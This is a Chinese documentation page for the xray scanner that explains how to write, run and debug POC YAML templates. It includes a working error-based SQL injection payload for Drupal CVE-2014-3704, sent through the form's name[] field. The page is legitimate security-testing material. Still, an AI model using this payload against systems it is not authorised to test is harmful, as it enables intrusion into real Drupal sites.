如何使用 POC
将上述POC保存为example.yml,假定与xray可执行文件存放于同一目录下,可执行如下命令:
如何调试 POC
如果 poc 无法扫出期望的结果,可以按照以下思路调试- 确定 poc 语法正确,payload 正确。
- 在配置文件
http段中加入proxy: "http://proxy:port",比如设置 burpsuite 为代理,这样 poc 发送的请求可以在 burp 中看到,看是否是期望的样子。
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
在开发者文档中,我们将详细介绍如何编写POC和指纹识别规则
name: poc-yaml-example
transport: http
rules:
r0:
request:
method: GET
path: /
expression: response.status == 200 && response.title.bcontains(b"Example Domain")
expression: r0()
detail:
author: test
links:
- https://example.com
./xray ws --poc example.yml --url http://127.0.0.1:8080

http 段中加入 proxy: "http://proxy:port",比如设置 burpsuite 为代理,这样 poc 发送的请求可以在 burp 中看到,看是否是期望的样子。name: poc-yaml-drupal-cve-2014-3704-sqli
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
method: POST
path: /?q=node&destination=node
headers:
Content-Type: application/x-www-form-urlencoded
body: pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(select md5({{rand}}))),0)%23]=bob&name[0]=a
expression: >-
response.status == 500 &&
response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
expression: r0()
detail:
author: test
links:
- https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
./xray ws --poc drupal-cve-2014-3704-sqli.yml --url http://127.0.0.1:8080
Was this page helpful?
